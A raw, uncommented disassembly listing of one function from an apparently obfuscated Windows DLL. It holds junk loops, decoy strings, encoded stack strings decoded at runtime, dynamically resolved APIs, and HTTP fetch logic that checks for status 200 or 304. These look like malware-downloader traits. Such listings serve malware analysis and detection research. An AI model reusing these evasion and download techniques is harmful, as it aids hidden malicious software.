lea ecx, [ebp - 0x300]
mov edx, 0x7fa
call fcn.10004a9f
add esp, 0x10
mov dword [ebp - 0x4c], ebx
jmp 0x10006b59
push ecx
push ecx
push 0xa57
lea eax, [ebp - 0x60]
mov dword [ebp - 0x60], ebx
push eax
push ecx
push ecx
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x5c], 0xc3414b58
push eax
push ebx
push ecx
call fcn.100055a4
lea eax, [ebp - 0x60]
mov dl, 1
push eax
lea eax, [ebp - 0x20c]
push eax
push 1
push 0x7974
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x5c]
push eax
push 1
push 0x4f31
lea ecx, [ebp - 0x300]
call fcn.1000530b
add esp, 0x44
dec dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 0xfffffff6
je 0x10006b03
lea ecx, [ebp - 0x300]
mov byte [ebp - 4], 0xc
call fcn.10001d54
mov dword [ebp - 0x1c], 0x30f9
lea ecx, [ebp - 0x30c]
push 2
call fcn.10001cd1
push 3
lea ecx, [ebp - 0x2b4]
mov byte [ebp - 4], 0x19
call fcn.10001cd1
xor eax, eax
mov byte [ebp - 4], 0x1a
push ecx
inc eax
mov dword [ebp - 0x2c], ebx
push eax
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x30c]
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x20], 0xad64de8c
push 0x734d
mov dword [ebp - 0x20], 0x589d3895
push eax
call fcn.10004796
add esp, 0xc
lea eax, [ebp - 0x3c]
push eax
push 0x790d
push 1
lea eax, [ebp - 0x2b4]
push eax
push ecx
mov ecx, 0xe68
call fcn.10004d32
mov dword [ebp - 0x20], 0x1df1
add esp, 0x18
cmp dword [ebp - 0x20], 0x1e79
jle 0x10006c75
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov dword [ebp - 0x28], ebx
mov ecx, edi
mov dword [ebp - 0x24], 0x50b5
mov edi, dword [ebp - 0x14]
mov dword [ebp - 0x18], ecx
mov esi, ebx
mov eax, esi
or eax, edi
or eax, ecx
lea ecx, [ebp - 0x4dc]
cdq
push edx
push eax
call fcn.10001a65
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10006c2e
mov eax, dword [eax]
push eax
call fcn.1004b9e4
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4dc]
call fcn.10002062
mov ecx, dword [ebp - 0x18]
inc esi
cmp esi, 0x7eee
jl 0x10006c10
dec ecx
dec dword [ebp - 0x24]
mov dword [ebp - 0x18], ecx
jne 0x10006c0e
mov edi, dword [ebp - 0x28]
inc edi
mov dword [ebp - 0x28], edi
cmp edi, 0x880
jl 0x10006bff
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x390f
jl 0x10006bfa
cmp dword [ebp - 0x20], 0x1a98
jge 0x10006c89
push str.jrp_dtc_toy_uoluf_mbya_gftnuw_bhuvf_npcc_tkmruuqg_kvys_bszxfzrvk_mnhswo_vuxsm
call fcn.1004b9e4
pop ecx
xor ecx, ecx
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x3c], ebx
inc ecx
jmp 0x10006ca5
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x1e4], ecx
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], ecx
jl 0x10006c98
cmp dword [ebp - 0x1c], ebx
jne 0x10006cdd
mov eax, dword [ebp - 0x30c]
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov dword [eax], 0x82b4
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x2b4]
setle dl
add edx, 0xa56718e5
mov dword [eax + 8], edx
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setle dl
mov dword [ebp - 0x20], edx
xor edx, edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2b4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setle dl
mov dword [ebp - 0x20], edx
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
push ecx
setle dl
lea eax, [ebp - 0x40]
mov dword [ebp - 0x1e4], edx
mov edx, 0x27c5
push eax
push 1
mov byte [ebp - 0x40], bl
call fcn.10005573
add esp, 0xc
lea ecx, [ebp - 0x2b4]
call fcn.10001d54
lea ecx, [ebp - 0x30c]
mov byte [ebp - 4], 0xc
call fcn.10001d54
push 0x74
pop ecx
push 0x31
mov byte [ebp - 0xca], cl
mov al, 0xf
mov byte [ebp - 0xc6], cl
pop ecx
mov word [ebp - 0x50e], cx
mov ecx, ebx
push 2
mov dword [ebp - 0x10c], 0x1c182b0f
mov dword [ebp - 0x108], 0x2101e0b
mov dword [ebp - 0x104], 0x7f20771e
mov dword [ebp - 0x100], 0x7d227d08
mov dword [ebp - 0xfc], 0xc070d0a
mov dword [ebp - 0xf8], 0x14130114
mov byte [ebp - 0xf4], 9
mov byte [ebp - 0xf3], bl
mov dword [ebp - 0xf2], 0x7516190c
mov dword [ebp - 0xee], 0x52043c25
mov dword [ebp - 0xea], 0x68837ae
mov word [ebp - 0xe6], 0x244d
mov byte [ebp - 0xe4], 8
mov byte [ebp - 0xe3], bl
mov dword [ebp - 0xe2], 0x123e2343
mov dword [ebp - 0xde], 0x1f021a77
mov dword [ebp - 0xda], 0xe031707
mov dword [ebp - 0xd6], 0x1b191d19
mov dword [ebp - 0xd2], 0x4070277
mov dword [ebp - 0xce], 0x11731907
mov word [ebp - 0xc9], 0x7515
mov byte [ebp - 0xc7], 1
mov dword [ebp - 0xc5], 0x1037c0d
mov dword [ebp - 0xc1], 0x7210905
mov word [ebp - 0xbd], 0x61c
pop esi
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x2c], esi
cmp esi, 0x51
jae 0x10006fa7
movzx eax, al
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x10006f43
mov dword [ebp - 0x28], 0x4dd8
cmp dword [ebp - 0x28], 0x5104
jle 0x10006ee6
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov dword [ebp - 0x20], ebx
lea eax, [edi + esi]
mov edi, 0x29da
mov dword [ebp - 0x6c], eax
mov esi, eax
mov eax, esi
mov ecx, 0x10080d98
cdq
push edx
push eax
call fcn.10001b47
dec esi
dec edi
jne 0x10006eaa
mov edi, dword [ebp - 0x20]
mov esi, dword [ebp - 0x24]
inc edi
mov dword [ebp - 0x20], edi
cmp edi, 0x232b
jl 0x10006e9d
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x5441
jl 0x10006e98
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov esi, dword [ebp - 0x2c]
movzx eax, byte [ebp + esi - 0x10c]
inc eax
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x28], 0x4b86
mov dword [ebp - 0x6c], eax
jge 0x10006f2f
mov edx, str.nne_jijz_yjce_wgpn_dosf_jiknwzsg_gjszq_kbto_drfrqzxsd_joeqv
mov ecx, 0x10080d98
call fcn.10003a21
jmp 0x10006f2f
mov dword [ebp - 4], 0xc
movzx eax, byte [ebp + esi - 0x10c]
dec esi
add esi, eax
jmp 0x10006f96
movzx edx, byte [ebp + esi - 0x10b]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x10e]
movzx ecx, word [ebp + eax*2 - 0x52c]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x10c]
add ecx, edx
push ecx
push ecx
mov word [ebp + eax*2 - 0x52c], cx
lea eax, [ebp - 0x6c]
push eax
push 0xba9
push ecx
push ecx
push 0x565d
push 1
push ecx
call fcn.100055a4
add esp, 0x24
mov ecx, dword [ebp - 0x6c]
add esi, 2
mov al, byte [ebp - 0x10c]
jmp 0x10006e65
xor eax, eax
lea ecx, [ebp - 0x1b4]
push 1
mov word [ebp - 0x4e0], ax
call fcn.10001cd1
mov dword [ebp - 0x24], 0x5e314a5e
mov dword [ebp - 0x18], 0x42e40c18
mov dword [ebp - 0x14], ebx
jmp 0x10006fe1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2c0], 0x85f70ad6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10006fd0
mov dword [ebp - 0x14], ebx
jmp 0x10006fff
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1b4]
mov dword [eax + ecx*4], 0xfffffff6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10006fec
mov eax, dword [ebp - 0x1b4]
mov dword [eax], 2
mov eax, dword [eax]
xor edx, edx
sub eax, 0xc6d2
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2bc]
cmp eax, ecx
mov eax, dword [ebp - 0x1b4]
setg dl
sub edx, 0x8d19c921
neg edx
mov eax, dword [eax]
sbb edx, edx
inc edx
mov dword [ebp - 0x20], edx
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x2c0]
cmp eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1b4]
setg dl
xor ecx, ecx
cmp edx, dword [eax]
setl cl
cmp ecx, 0xb28787d
jne 0x1000706a
cmp dword [ebp - 0x24], ebx
je 0x10007074
cmp dword [ebp - 0x18], ebx
je 0x10007074
xor edx, edx
inc edx
jmp 0x10007076
mov edx, ebx
mov eax, dword [ebp - 0x1b4]
xor ecx, ecx
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x2c0]
cmp edx, eax
mov eax, dword [ebp - 0x1b4]
sete cl
inc ecx
mov eax, dword [eax]
mov dword [ebp + eax*4 - 0x2c0], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1b4]
dec dword [eax]
jns 0x10007011
lea ecx, [ebp - 0x1b4]
call fcn.10001d54
xor eax, eax
mov dword [ebp - 0x334], 7
mov word [ebp - 0x348], ax
lea ecx, [ebp - 0x348]
lea eax, [ebp - 0x52c]
mov dword [ebp - 0x338], ebx
push eax
call fcn.10007ef5
push 0x13
mov byte [ebp - 4], 0x1f
lea edi, [ebp - 0x52c]
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
push 2
lea ecx, [ebp - 0x354]
stosw word es:[edi], ax
mov dword [ebp - 0x19c], ebx
call fcn.10001cd1
mov byte [ebp - 4], 0x20
mov dword [ebp - 0x20], 0xb03629aa
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x24], 0x181f
cmp dword [ebp - 0x24], 0x1bee
jle 0x1000719c
push 0x1ad2
push 0x14a7
push ebx
push 0x13f5
call dword [sym.imp.USER32.dll_DrawFrameControl]
mov ecx, ebx
mov dword [ebp - 0x2c], ebx
mov eax, ebx
mov dword [ebp - 0x20], ebx
xor eax, ecx
mov esi, ebx
mov dword [ebp - 0x28], eax
mov edi, ebx
mov ebx, dword [ebp - 0x28]
mov eax, edi
mov ecx, 0x10080d98
and eax, esi
or eax, ebx
cdq
push edx
push eax
call fcn.10001b47
inc edi
cmp edi, 0x53ab
jl 0x10007157
inc esi
push 0
pop ebx
cmp esi, 0x37ec
jl 0x10007152
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x111a
jl 0x1000714b
inc ecx
mov dword [ebp - 0x2c], ecx
cmp ecx, 0x7a52
jl 0x10007146
mov dword [ebp - 0x20], 0xb000cd9d
mov byte [ebp - 4], 0x21
cmp dword [ebp - 0x24], 0x1794
jge 0x100071e0
mov edx, str.juw_uwtsburv_tmr_hnqx_qqj_raoegdh_ttgad_csqxtds_hwfgvaenv_gjbvtyzwy_png_xhuct_hcaepk_qtkhoqt
mov ecx, 0x10080d98
call fcn.10003a21
jmp 0x100071e0
mov dword [ebp - 4], 0x20
lea eax, [ebp - 0x404]
push dword [ebp - 0x174]
movdqa xmm0, xmmword [0x10072e60]
lea ecx, [ebp - 0x260]
push eax
lea eax, [ebp - 0x414]
mov dword [ebp - 0x20], 1
push eax
push ebx
movdqu xmmword [ebp - 0x414], xmm0
mov dword [ebp - 0x260], ebx
mov dword [ebp - 0x25c], ebx
mov dword [ebp - 0x258], ebx
call fcn.100043b1
push ecx
push ecx
lea eax, [ebp - 0x354]
mov byte [ebp - 4], 0x23
push eax
push ecx
mov dl, 1
lea ecx, [ebp - 0x54]
call fcn.10005708
add esp, 0x10
mov dword [ebp - 0x54], ebx
jmp 0x10007261
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x58c], 0xffffffff
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], 4
jl 0x10007250
push 0x2885
lea eax, [ebp - 0x19c]
mov edx, 0x6238
push eax
push 0x3775
push 0x1725
push 0x2fa8
push 0x10b4
lea eax, [ebp - 0x354]
push eax
push 0x29fc
push 0x5fec
push ecx
push 0xbd7
push ebx
push ecx
push 0x7835
push 1
push 0x47e9
mov cl, 1
call fcn.10004dfb
lea eax, [ebp - 0x260]
mov edx, 0x6743
push eax
push ebx
push 0x20f8
push 1
push 0x3af5
push 0x7c18
push 1
push 0x16d2
push 0x221f
mov ecx, 0x3726
call fcn.10004d83
add esp, 0x64
lea ecx, [ebp - 0x260]
call fcn.10001d54
lea ecx, [ebp - 0x354]
mov byte [ebp - 4], 0x1f
call fcn.10001d54
push 0x74
pop eax
push 0x32
mov byte [ebp - 0x141], al
mov ecx, ebx
mov byte [ebp - 0x135], al
pop eax
push 2
mov dword [ebp - 0x15c], 0x30f5516
mov word [ebp - 0x158], 0x7701
mov byte [ebp - 0x156], 6
mov byte [ebp - 0x155], bl
mov dword [ebp - 0x154], 0x508750d
mov dword [ebp - 0x150], 0x140a1b18
mov word [ebp - 0x14c], 0x919
mov byte [ebp - 0x14a], 0x1a
mov byte [ebp - 0x149], bl
mov dword [ebp - 0x148], 0x122731b
mov word [ebp - 0x144], 0x611
mov byte [ebp - 0x142], 0x1c
mov dword [ebp - 0x140], 0x30c041d
mov dword [ebp - 0x13c], 0x4e250412
mov word [ebp - 0x138], 0x3f14
mov byte [ebp - 0x136], 2
mov dword [ebp - 0x134], 0x8100f04
mov byte [ebp - 0x130], 7
mov byte [ebp - 0x12f], bl
mov dword [ebp - 0x12e], 0x1e5f4c02
mov dword [ebp - 0x12a], 0x20760577
mov dword [ebp - 0x126], 0x15140909
mov dword [ebp - 0x122], 0x1f77031e
mov dword [ebp - 0x11e], 0xe09217d
mov word [ebp - 0x11a], 0xb1d
mov byte [ebp - 0x118], 0x6e
mov byte [ebp - 0x117], bl
mov dword [ebp - 0x116], 0x233e1738
mov dword [ebp - 0x112], 0x246f1307
mov byte [ebp - 0x10e], 0x19
mov word [ebp - 0x550], ax
pop esi
mov dword [ebp - 0x160], ecx
cmp esi, 0x2e
jne 0x10007442
push 3
pop ecx
push 0x2f
mov dword [ebp - 0x160], ecx
pop esi
jmp 0x1000749f
movzx edx, byte [ebp + esi - 0x15b]
mov eax, esi
sub eax, ecx
push 0x1627
push 0x688f
movzx eax, byte [ebp + eax - 0x15e]
movzx ecx, word [ebp + eax*2 - 0x57c]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x15c]
add ecx, edx
mov word [ebp + eax*2 - 0x57c], cx
lea eax, [ebp - 0x160]
push eax
push 0x6685
push ecx
mov cl, 1
call fcn.100057d9
mov ecx, dword [ebp - 0x160]
add esp, 0x14
add esi, 2
cmp esi, 0x4f
jb 0x1000742f
xor eax, eax
mov dword [ebp - 0x310], 7
mov word [ebp - 0x530], ax
lea ecx, [ebp - 0x324]
mov word [ebp - 0x324], ax
lea eax, [ebp - 0x57c]
push eax
mov dword [ebp - 0x314], ebx
call fcn.10007ef5
mov byte [ebp - 4], 0x24
lea edi, [ebp - 0x57c]
push 0x13
xor eax, eax
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x28], 0x7b07
cmp dword [ebp - 0x28], 0x7eda
jle 0x10007551
mov edi, ebx
mov dword [ebp - 0x24], ebx
mov esi, ebx
mov dword [ebp - 0x20], ebx
mov ecx, esi
mov dword [ebp - 0x88], edi
mov esi, edi
mov dword [ebp - 0x7c], ebx
sar esi, cl
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
mov ecx, 0x10080d98
cdq
push edx
push eax
call fcn.10001b47
inc edi
cmp edi, 0x6939
jl 0x10007517
mov esi, dword [ebp - 0x20]
mov edi, dword [ebp - 0x24]
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x23e6
jl 0x10007506
inc edi
mov dword [ebp - 0x24], edi
cmp edi, 0x468a
jl 0x10007501
mov byte [ebp - 4], 0x25
cmp dword [ebp - 0x28], 0x7af3
jge 0x1000758b
mov edx, str.kqdtpliu_vxc_bspc_ejmrpzjkp_eor_ixsmlzpn_kvdxvran
mov ecx, 0x10080d98
call fcn.10003a21
jmp 0x1000758b
mov edi, dword [ebp - 0x44]
lea ecx, [ebp - 0x454]
mov dword [ebp - 4], 0x24
lea eax, [ebp - 0x348]
cmp dword [ebp - 0x334], 8
mov esi, 0x14f7
push ecx
cmovae eax, dword [ebp - 0x348]
push eax
push 0x161a
push esi
call fcn.10044279
pop ecx
pop ecx
call eax
test eax, eax
jne 0x10007b06
cmp dword [ebp - 0x310], 8
lea ecx, [ebp - 0x444]
push ecx
lea eax, [ebp - 0x324]
cmovae eax, dword [ebp - 0x324]
push eax
push 0x161a
push esi
call fcn.10044279
pop ecx
pop ecx
call eax
test eax, eax
jne 0x10007b06
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x454]
push eax
push 3
push ebx
lea eax, [ebp - 0x444]
push eax
push 0x161a
push 0x16dc
call fcn.10044279
pop ecx
pop ecx
call eax
test eax, eax
js 0x10007b06
cmp dword [ebp - 0x34], 0
je 0x10007b06
push 0x2bf0
push 1
push ecx
push ecx
mov edx, 0x729a
lea ecx, [ebp - 0x404]
call fcn.100058cf
add esp, 0x10
mov dword [ebp - 0x78], 0x1101e002
xor eax, eax
mov byte [ebp - 0x74], bl
mov word [ebp - 0x3fc], ax
mov ecx, ebx
mov dword [ebp - 0x73], 0x1ff80222
push 0x74
pop eax
push 2
mov word [ebp - 0x184], ax
pop esi
mov dword [ebp - 0x16c], ecx
cmp esi, 6
jne 0x10007698
push 3
pop ecx
push 7
mov dword [ebp - 0x16c], ecx
pop esi
jmp 0x100076e9
movzx edx, byte [ebp + esi - 0x77]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x7a]
movzx ecx, word [ebp + eax*2 - 0x188]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x78]
add ecx, edx
mov edx, 0x7c0f
mov word [ebp + eax*2 - 0x188], cx
lea eax, [ebp - 0x16c]
push eax
push 0x5dd2
push ebx
push 1
mov cl, 1
call fcn.10004bbc
mov ecx, dword [ebp - 0x16c]
add esp, 0x10
add esi, 2
cmp esi, 9
jb 0x10007685
xor eax, eax
mov dword [ebp - 0x1c0], 7
mov word [ebp - 0x182], ax
lea ecx, [ebp - 0x1d4]
mov word [ebp - 0x1d4], ax
lea eax, [ebp - 0x188]
push eax
mov dword [ebp - 0x1c4], ebx
call fcn.10007ef5
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x1d4]
cmp dword [ebp - 0x1c0], 8
mov eax, dword [ebp - 0x1c4]
cmovae ecx, dword [ebp - 0x1d4]
push dword [ebp - 0x174]
mov dword [ebp - 0x188], ebx
mov dword [ebp - 0x184], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x270], ebx
lea ecx, [ebp - 0x1d4]
mov dword [ebp - 0x26c], ebx
cmovae ecx, dword [ebp - 0x1d4]
push eax
push ecx
lea ecx, [ebp - 0x270]
mov dword [ebp - 0x268], ebx
call fcn.1000864c
push ecx
push 0x35fa
push ebx
lea edx, [ebp - 0x270]
mov byte [ebp - 4], 0x28
call fcn.10005573
add esp, 0xc
cmp dword [edi + 0x14], 8
jb 0x100077a5
mov ecx, dword [edi]
jmp 0x100077a7
mov ecx, edi
cmp dword [edi + 0x14], 8
mov eax, dword [edi + 0x10]
lea eax, [ecx + eax*2]
jb 0x100077b5
mov edi, dword [edi]
push dword [ebp - 0x174]
lea ecx, [ebp - 0x1e0]
mov dword [ebp - 0x1e0], ebx
push eax
push edi
mov dword [ebp - 0x1dc], ebx
mov dword [ebp - 0x1d8], ebx
call fcn.1000864c
push 1
sub esp, 0xc
mov byte [ebp - 4], 0x29
lea edx, [ebp - 0x1e0]
mov ecx, 0x5386
call fcn.1000560a
cmp dword [ebp - 0x1c0], 8
lea esi, [ebp - 0x3a4]
mov edi, esp
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x1d4]
cmovae edx, dword [ebp - 0x1d4]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x3a4]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x404]
push dword [ebp - 0x1e0]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x10007aad
mov esi, dword [ebp - 0x1a8]
mov cl, 1
mov dword [ebp - 0x170], ebx
cmp esi, dword [ebp - 0x1a4]
je 0x100078a9
add esi, 0x18
test cl, cl
je 0x10007891
cmp dword [esi + 0x14], 8
jb 0x10007870
mov edi, dword [esi]
jmp 0x10007872
mov edi, esi
cmp dword [esi - 4], 8
jb 0x1000787d
mov edx, dword [esi - 0x18]
jmp 0x10007880
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x34]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x10007893
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x1a4]
jne 0x10007862
test cl, cl
je 0x10007aad
mov eax, dword [ebp - 0x34]
lea esi, [ebp - 0x3a4]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x10007aad
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x170]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x10007aad
cmp dword [ebp - 0x170], 0x130
je 0x100078fd
cmp dword [ebp - 0x170], 0xc8
jne 0x10007aad
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x464]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x10007aad
mov edi, dword [ebp - 0x45c]
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x2c], edi
test edi, edi
je 0x10007aad
mov eax, dword [edi]
lea ecx, [ebp - 0x5d4]
push 1
push ecx
push edi
call dword [eax + 0x30]
test eax, eax
js 0x10007aa7
mov esi, dword [ebp - 0x5cc]
lea ecx, [ebp - 0x45]
mov eax, dword [ebp - 0x194]
push ecx
push esi
push eax
mov dword [ebp - 0x190], eax
lea ecx, [ebp - 0x194]
lea eax, [ebp - 0x3a8]
mov dword [ebp - 0x88], esi
push eax
mov byte [ebp - 0x45], bl
call fcn.100080f2
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x24], 0x7e0
cmp dword [ebp - 0x24], 0x98b
jle 0x100079e1
mov edi, ebx
mov dword [ebp - 0x60], ebx
mov esi, ebx
mov dword [ebp - 0x5c], ebx
mov eax, edi
mov dword [ebp - 0x20], 0x62a
cdq
idiv esi
mov esi, edx
mov edi, ebx
mov eax, esi
mov ecx, 0x10080d98
and eax, edi
cdq
push edx
push eax
call fcn.10001b47
inc edi
cmp edi, 0x7dae
jl 0x100079a0
dec esi
dec dword [ebp - 0x20]
jne 0x1000799e
mov esi, dword [ebp - 0x5c]
mov edi, dword [ebp - 0x60]
inc esi
mov dword [ebp - 0x5c], esi
cmp esi, 0x25f7
jl 0x10007990
inc edi
mov dword [ebp - 0x60], edi
cmp edi, 0x534d
jl 0x1000798b
mov edi, dword [ebp - 0x28]
mov byte [ebp - 4], 0x2a
cmp dword [ebp - 0x24], 0x41c
mov dword [ebp - 0x178], ebx
jge 0x10007a24
mov edx, str.wjloh_czeds_ahlwe_ufabpeco_uyva_zne_xmrm_tnwudthi_lwxdku_fjp_sus_nlaavaev_ggqvacbr_mlent
mov ecx, 0x10080d98
call fcn.10003a21
jmp 0x10007a24
mov esi, ebx
mov dword [ebp - 4], 0x29
mov dword [ebp - 0x198], esi
mov eax, dword [ebp - 0x194]
lea edx, [ebp - 0x178]
mov ecx, dword [edi]
add eax, esi
push edx
push dword [ebp - 0x7c]
push eax
push edi
call dword [ecx + 0xc]
test eax, eax
js 0x10007a78
add esi, dword [ebp - 0x178]
lea eax, [ebp - 0x178]
push eax
push ebx
push ecx
push ecx
lea edx, [ebp - 0x7c]
mov ecx, 0x6d7c
call fcn.100058cf
add esp, 0x10
cmp esi, dword [ebp - 0x88]
jb 0x10007a33
lea eax, [ebp - 0x194]
mov dword [ebp - 0x198], esi
push eax
push ebx
push 0x2b71
push ecx
push ecx
push 0x3ab7
push ecx
lea edx, [ebp - 0x198]
lea ecx, [ebp - 0x88]
call fcn.100051fe
add esp, 0x1c
mov eax, dword [edi]
push edi
call dword [eax + 8]
push 1
push ecx
lea eax, [ebp - 0x34]
mov edx, 0x7de6
push eax
push 0x3db3
push 0x6552
push 0x68cc
push ecx
push 0x4ea3
mov ecx, 0x9ba
call fcn.100047c9
add esp, 0x20
mov dword [ebp - 0x34], ebx
lea ecx, [ebp - 0x1e0]
call fcn.100080a0
lea ecx, [ebp - 0x270]
call fcn.100080a0
push ebx
push 1
lea ecx, [ebp - 0x1d4]
mov byte [ebp - 4], 0x24
call fcn.100021ce
push 0x161a
push 0x1983
call fcn.10044279
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x27c]
lea eax, [ebp - 0x194]
push eax
call fcn.10007dd7
push ebx
push 1
lea ecx, [ebp - 0x324]
call fcn.100021ce
push ebx
push 1
lea ecx, [ebp - 0x348]
call fcn.100021ce
lea ecx, [ebp - 0x1a8]
call fcn.10007faf
lea ecx, [ebp - 0x194]
call fcn.1000802a
lea ecx, [ebp + 8]
call fcn.10007faf
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret